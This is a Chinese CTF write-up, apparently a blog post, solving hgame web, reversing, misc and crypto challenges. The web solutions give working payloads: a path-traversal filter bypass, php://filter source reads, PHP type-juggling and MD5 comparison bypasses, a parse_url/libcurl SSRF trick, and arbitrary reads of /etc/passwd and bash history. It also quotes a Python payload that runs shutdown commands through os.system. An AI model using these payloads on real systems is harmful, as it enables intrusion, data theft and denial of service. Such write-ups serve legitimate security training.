web

easy_php [150]

根据页面标题提示 “where is my robots”,访问 /easyphp/robots.txt,内容为 “img/index.php”,访问得到图片与源码:

<?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);

由于 str_replace 函数只进行一次替换,可用 ....// 绕过过滤

尝试后发现请求 ?img=....//flag 返回 “maybe_you_should_think_think”,flag 可能位于 /flag.php 中,但由于通过 include_once 方式将文件执行,如果没有进行输出操作就无法显示出来

利用 php 伪协议就可以读取文件内容并 base64 编码后输出

提交 GET 请求 ?img=php://filter/read=convert.base64-encode/resource=....//flag,返回 “PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK”,解码可得 php 源码

Flag: hgame{You_4re_So_g0od}

php trick [200]

php 审计,源码如下:

<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}

访问 admin.php 返回 “only localhost can see it”

step 1 & step 2

要使两个内容不同的字符串的 MD5 值不等(!=),可以使其哈希值为 0e 开头

提交: str1=s878926199a&str2=s155964671a

step 3 & step 4

与前一步相似,但哈希值比较变为非全等(!==),可以提交数组参数,使 md5 函数无法处理而返回 null

(在前一步中由于对参数进行 string 类型转换,若提交数组参数则结果都为 "Array" 导致相等,无法绕过)

提交: str3[]=1&str4[]=2

step 5 & step 6 & step 7 & step 8

php 会将参数名中的 “.” 替换为 “_”

提交数组参数,可以使 is_numeric 返回 false;数组与其他类型比较大小时总是更大;转为字符串后为 "Array",与整数型比较大小时返回 false

提交: H.game[]=1

step 9 & step 10 & step 11

利用 parse_url 与 libcurl 对 URL 的解析差异

当url中有多个@符号时,parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的。因此当代码对[email protected]:[email protected] 进行解析时,PHP获取的host是baidu.com是允许访问的域名,而最后调用libcurl进行请求时则是请求的eval.com域名,可以造成ssrf绕过
Source: https://xz.aliyun.com/t/2215

提交: url=http://[email protected]:[email protected]/admin.php

请求后获得 admin.php 的源码:

<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

利用 php 伪协议,可以使 file_exists 返回 false,而 file_get_contents 可以成功读取

在 url 参数的末尾加上参数 ?filename=php://filter/read=convert.base64-encode/resource=flag.php,可以得到 base64 编码后的 flag.php 源码,解码得:

<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>

Flag: hgame{ThEr4_Ar4_s0m4_Php_Tr1cks}

PHP Is The Best Language [150]

php 审计,源码如下:

<?php  

include 'secret.php'; 

#echo $flag; 
#echo $secret; 

if (empty($_POST['gate']) || empty($_POST['key'])) { 
    highlight_file(__FILE__); 
    exit; 
} 

if (isset($_POST['door'])){ 
    $secret = hash_hmac('sha256', $_POST['door'], $secret); 
} 

$gate = hash_hmac('sha256', $_POST['key'], $secret); 

if ($gate !== $_POST['gate']) { 
    echo "Hacker GetOut!!"; 
    exit; 
} 

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) { 
    echo "Wow!!!"; 
    echo "</br>"; 
    echo $flag; 
} 
else { 
    echo "Hacker GetOut!!"; 
} 

?> 

当参数为数组时会使 hash_hmac 函数无法处理,返回 null,将 $secret 置空

由于盐参数 $secret 为空,$gate 的值可知

php 对以 “0e” 开头的字符串进行弱比较时(通过 ==)转换为浮点型导致相等

提交: ?door[]=1&key=s878926199a&gate=7fb99dc1f423a257fd7100f01f262c958ea594043711c150fd9ba834dadb0188

Flag: hgame{Php_MayBe_Not_Safe}

Baby_Spider [300]

爬虫题,要求在 40 秒内依次完成 30 个计算题

若 User-Agent 可疑,几个算式后问题会变为 (lambda __g: [(os.system('shutdown -s -t 0'), (os.system('shutdown now'), None)[1])[1] for __g['os'] in [(__import__('os', __g, __g))]][0])(globals())#-----,若 python 爬虫脚本使用 eval 函数获取答案则会执行关机命令

从第 11 题开始,样式表 statics/style.css 内容发生变化,问题会使用字体文件 static/Ariali.otf,该字体对数字进行了替换,导致实际显示的算式中数字与 HTML 中不同

从第 21 题开始,样式表 statics/style.css 内容再次发生变化,不再使用 Ariali 字体,但对问题样式添加了 :after 伪元素,在页面渲染时变为 css 中指定的内容

最终脚本:

import requests
import re

arialiMap = ['1', '0', '2', '6', '9', '4', '3', '5', '8', '7']
questionPattern = re.compile(r'<div\s+class="question-container"><span>([^<]*)</span></div>')
questionPatternForStyleSheet = re.compile(r'content:"([^"]*)";')

r = requests.Session()
r.headers.update({'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'})

r.get('http://[REDACTED]/')
response = r.post('http://[REDACTED]/', data={'token': '3rWm1tMecTNfiWdP7IxE840CQq9TVQip'})

questionNumber = 1

while True:
    styleSheet = r.get('http://[REDACTED]/statics/style.css').text
    question = questionPattern.findall(response.text)

    if questionNumber < 11:
        question = question[0].strip('=?')

    elif 10 < questionNumber < 21:
        question = question[0].strip('=?')
        question = list(question)
        for i in range(len(question)):
            if 47 < ord(question[i]) < 58:
                question[i] = arialiMap[int(question[i])]
        question = ''.join(question)

    elif 20 < questionNumber < 31:
        question = questionPatternForStyleSheet.findall(styleSheet)[0].strip('=?')

    else:
        print(response.text)
        break

    answer = str(eval(question))
    print('No. %d\tQuestion: %s\tAnswer: %s' % (questionNumber, question, answer))
    questionNumber = questionNumber + 1
    response = r.post('http://[REDACTED]/solution', data={'answer': answer})

Flag: hgame{324e38d797b657f2172c73154d2209a7f7988c3f2c2c1acbb73672d626855aed}

Math有趣 [400]

第一个问题是 “1+1=?”,提交答案后进入第二题:求 “x/(y+z)+y/(x+z)/z(y+x)=4” 的最小整数解集,而测试发现不管用什么格式提交都无效

查看页面源码,题图路径为 img/cXVlc3Rpb24ucG5n.php,文件名为 base64 编码的 “question.png”,测试 “img/Li9xdWVzdGlvbi5wbmc=.php”(“./question.png”),返回了题图;测试出 img/Li4vLi4vZXRjL3Bhc3N3ZA==.php(“../../etc/passwd”),返回了文件内容,存在任意文件读取漏洞

读取 ../../root/.bash_history,得到项目路径 /usr/local/tomcat/webapps/ROOT/

提交一个格式错误的 base64 编码,如将 “../../etc/passwd” 的 base64 编码删去一个 “=”,使程序报错,从错误信息中得到函数名 hgame.controller.MathController.image

读取 ../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class,反编译得到 Java 源码,关于 flag 部分代码如下:

@RequestMapping(value={"/flag"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String Flag(ModelMap model) {
  System.out.println("This is the last question.");
  System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
  System.out.println("The flag is hgame{x}.x is a decimal number.");
  model.addAttribute("flag", "Flag is not here.");
  return "flag";
}

使用 BSGS (baby-step giant-step) 算法计算出 x 的值,可使用 python 脚本:https://gist.github.com/0xTowel/b4e7233fc86d8bb49698e4f1318a5a73 [存档]

Flag: hgame{15387368}

reverse

Pro的Python教室(三&四) [300]

题目给出一个 pyc 文件,首先使用 uncompyle6 尝试反编译,但是会报错:

$ uncompyle6 third.pyc
# ...[OMITTED]...
  File "c:\python2\lib\site-packages\xdis\bytecode.py", line 179, in _get_const_info
    argval = const_list[const_index]
IndexError: tuple index out of range
# ...[OMITTED]...

使用 marshal 和 dis 模块获取字节码

$ python2
>>> import marshal, dis
>>> with open('third.pyc', 'rb') as f:
...     f.seek(8)
...     code = marshal.load(f)
>>> dis.dis(code)
  2           0 JUMP_ABSOLUTE            3
        >>    3 JUMP_ABSOLUTE            9
              6 LOAD_CONST              15 ("You're Wrong! ")
        >>    9 JUMP_ABSOLUTE           14

  3          12 PRINT_ITEM
             13 LOAD_CONST             100
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "C:\python2\lib\dis.py", line 43, in dis
    disassemble(x)
  File "C:\python2\lib\dis.py", line 95, in disassemble
    print '(' + repr(co.co_consts[oparg]) + ')',
IndexError: tuple index out of range

可见其中 “13 LOAD_CONST 100” 这条指令超出了常量表的范围,用十六进制编辑器打开 pyc 文件,将第 45 字节(值为 0x64)改为 0x01,即将指令修改为 “13 LOAD_CONST 1”

再次运行以上脚本,即可成功获取全部字节码

开头部分的字节码整理后如下:(已将 “13 LOAD_CONST 1” 改回 “13 LOAD_CONST 100”)

# ...[OMITTED]...
  2           0 JUMP_ABSOLUTE            3                       [71 03 00]
        >>    3 JUMP_ABSOLUTE            9                       [71 09 00]
              6 LOAD_CONST              15                       [64 0F 00]
        >>    9 JUMP_ABSOLUTE           14                       [71 0E 00]
  3          12 PRINT_ITEM                                       [47 -- --]
             13 LOAD_CONST             100                       [64 64 00]
             16 STOP_CODE                                        [00 -- --]
             17 LOAD_CONST               1 (None)                [64 01 00]
# ...[OMITTED]...

此处使用了重叠指令(Overlapping Instruction)混淆手段,实际执行为:

# ...[OMITTED]...
  2           0 JUMP_ABSOLUTE            3                       [71 03 00]
        >>    3 JUMP_ABSOLUTE            9                       [71 09 00]
              6 LOAD_CONST              15                       [64 0F 00]
        >>    9 JUMP_ABSOLUTE           14                       [71 0E 00]
        >>   14 LOAD_CONST               0                       [64 00 00]
             17 LOAD_CONST               1                       [64 01 00]
# ...[OMITTED]...

关于更多 Python 字节码混淆手段,请见 https://blog.csdn.net/ir0nf1st/article/details/61650984 [存档]

之后手工将字节码翻译为源码(或许也可以修改错误的字节码以使 uncompyle6 等工具成功反编译,未尝试)

源码如下:

#!/usr/bin/env python2
import string

letters = list(string.letters) + list(string.digits) + ['+', '/']
dec = 'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUygHN'

def encode(input_str):
    global letters
    str_ascii_list = ['{:0>8}'.format(str(bin(ord(i)))).replace('0b', '') for i in input_str]
    output_str = ''
    equal_num = 0
    while str_ascii_list:
        temp_list = str_ascii_list[:3]
        if len(temp_list) != 3:
            while len(temp_list) < 3:
                equal_num = equal_num + 1
                temp_list += ['00000000']
        temp_str = ''.join(temp_list)
        temp_str_list = [temp_str[x:x+6] for x in [0, 6, 12, 18]]
        temp_str_list = [int(x, 2) for x in temp_str_list]
        if equal_num:
            temp_str_list = temp_str_list[0:4 - equal_num]
        output_str += ''.join([letters[x] for x in temp_str_list])
        str_ascii_list = str_ascii_list[3:]
    output_str = output_str + '=' * equal_num
    return output_str

print("Welcome to Processor's Python Classroom Part 3&4!\n")
print('qi shi wo jiu shi lan cai ba liang dao ti fang zai yi qi.')
print("Now let's start the origin of Python!\n")
print('Plz Input Your Flag:\n')

enc = raw_input()
lst = list(enc)
lst.reverse()
llen = len(lst)

for i in range(llen):
    if i % 2 == 0:
        lst[i] = chr(ord(lst[i]) - 2)
    lst[i] = chr(ord(lst[i]) + 1)

enc2 = ''
enc2 = enc2.join(lst)
enc3 = encode(enc2)

if enc3 == dec:
    print("You're right! ")
else:
    print("You're wrong! ")

其中 encode 函数是一个使用了非标准编码表的 base64 编码函数,可以通过如下脚本进行解码获取 flag:

#!/usr/bin/env python2
import string
from base64 import b64decode

dec = 'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUygHN'

standard_alphabet = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
custom_alphabet = string.letters + string.digits + '+/'
decode_trans = string.maketrans(custom_alphabet, standard_alphabet)

enc2 = b64decode(dec.translate(decode_trans))
lst = list(enc2)
lst.reverse()

for i in range(len(lst)):
    lst[i] = chr(ord(lst[i]) - 1)
    if i % 2 == 0:
        lst[i] = chr(ord(lst[i]) + 2)

print(''.join(lst))

Flag: hgame{W3lc0me_To_anothe2_Python!}

Pro的Python教室(二) [100]

题目给出一个 pyc 文件,使用 uncompyle6 反编译,得到源码:

print "Welcome to Processor's Python Classroom Part 2!\n"
print "Now let's start the origin of Python!\n"
print 'Plz Input Your Flag:\n'
enc = raw_input()
len = len(enc)
enc1 = []
enc2 = ''
aaa = 'ioOavquaDb}x2ha4[~ifqZaujQ#'
for i in range(len):
    if i % 2 == 0:
        enc1.append(chr(ord(enc[i]) + 1))
    else:
        enc1.append(chr(ord(enc[i]) + 2))

s1 = []
for x in range(3):
    for i in range(len):
        if (i + x) % 3 == 0:
            s1.append(enc1[i])

enc2 = enc2.join(s1)
if enc2 in aaa:
    print "You 're Right!"
else:
    print "You're Wrong!"
    exit(0)

使用如下脚本解出 flag:

aaa = 'ioOavquaDb}x2ha4[~ifqZaujQ#'
enc = [0]*27
flag = []

for i in range(0, 27):
    enc[(3 - i // 9) % 3 + (i % 9) * 3] = ord(aaa[i])

for i in range(0, 27):
    if i % 2 == 0:
        flag.append(chr(enc[i] - 1))
    else:
        flag.append(chr(enc[i] - 2))

print(''.join(flag))

Flag: hgame{Now_Y0u_got_th3_PYC!}

misc

Are You Familiar with DNS Records? [50]

使用 dig 命令查询所给域名 “[REDACTED]” 的 DNS TXT 记录(最适合放 flag)

$ dig [REDACTED] TXT
# ...[OMITTED]...
;; ANSWER SECTION:
[REDACTED]. 597 IN  TXT "v=spf1 include:spf.mail.qq.com ~all"
[REDACTED]. 597 IN  TXT "flag=hgame{seems_like_you_are_familiar_with_dns}"
# ...[OMITTED]...

Flag: hgame{seems_like_you_are_familiar_with_dns}

快到火炉旁找个位置坐坐! [150]

修复炉石传说套牌代码(deck code) “AAECAf0EBu0FuAju9gLQwQIMigGcAq4DyQOrBMsE5gSYxALaxQKW5AK0/ALSiQOmmAMA”

套牌代码通过 varint 编码数据,再进行 base64 编码,相关资料在 https://hearthsim.info/docs/deckstrings/ [存档]

解码后检查数据,发现单卡数量标志位为 6,而后面实际的单卡数据只有 4 个;双卡数量标志位为 11,实际数据有 13 个

修改数量标志位为实际值,然后按照炉石导出标准,将卡牌 ID 升序排列

重新编码,得到正确的套牌代码

Flag: hgame{AAECAf0EBO0FuAjQwQLu9gINigGcAq4DyQOrBMsE5gSYxALaxQKW5AK0/ALSiQOmmAMA}

找得到我嘛?小火汁 [150]

流量分析题

找到 No. 402,操作为 “RETR /pub/test/secret.zip” 的 FTP 流量,将 No. 405 - 406 的 FTP DATA 流量的数据导出为文件,合并后解压得到 secret.log

secret.log 内容为 NSS Key Log 格式的 SSL/TLS 密钥日志,在 Wireshark 的 Edit > Preferences > Protocols > SSL 菜单中指定 (Pre)-Master-Secret log filename 为该文件并重载数据包

找到 No. 194 的 HTTP 流量,将 1.tar 导出为文件,解压得到 flag.png,使用十六进制编辑器打开,得到 flag

Flag: hgame{Congratulations_You_Got_The_Flag}

初识二维码 [150]

二维码修复题

从所给压缩包解压 flag.txt,内容为 png 的 base64 编码,转换为图片文件后打开发现是一个没有定位标志(Position detection patterns)的二维码

origin.png

使用图像编辑工具补上三个定位标志及两条定时标志(Timing patterns)

flag.png

扫码得到 flag

Flag: hgame{Qu1ck_ReSp0nse_cODe}

crypto

浪漫的足球圣地 [150]

密文: “966A969596A9965996999565A5A59696A5A6A59A9699A599A596A595A599A569A5A99699A56996A596A696A996A6A5A696A9A595969AA5A69696A5A99696A595A59AA56A96A9A5A9969AA59A9559”

搜索题名发现指曼彻斯特,猜测为 Manchester 编码

密文由 “5”、“6”、“9”、“A” 四种字符组成,将其作为十六进制字符串解码后转为二进制码,再进行 Manchester 解码(IEEE 802)

将明文转为字符串,得到 flag

Flag: hgame{3f24e567591e9cbab2a7d2f1f748a1d4}

hill [180]

3x3 hill 密码,由于题目说明 “flag中含有BABYSHILL”,可进行已知明文攻击

可使用 sage 脚本 ChesleyTan/Hill-Cipher-Cracker

Flag: hgame{THEBABYSHILLCIPHERATTACK}

Vigener~ [150]

普通的 Vigenère 密码

在线解密:https://www.dcode.fr/vigenere-cipher

Flag: hgame{gfyuytukxariyydfjlplwsxdbzwvqt}

Categories: CTF

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注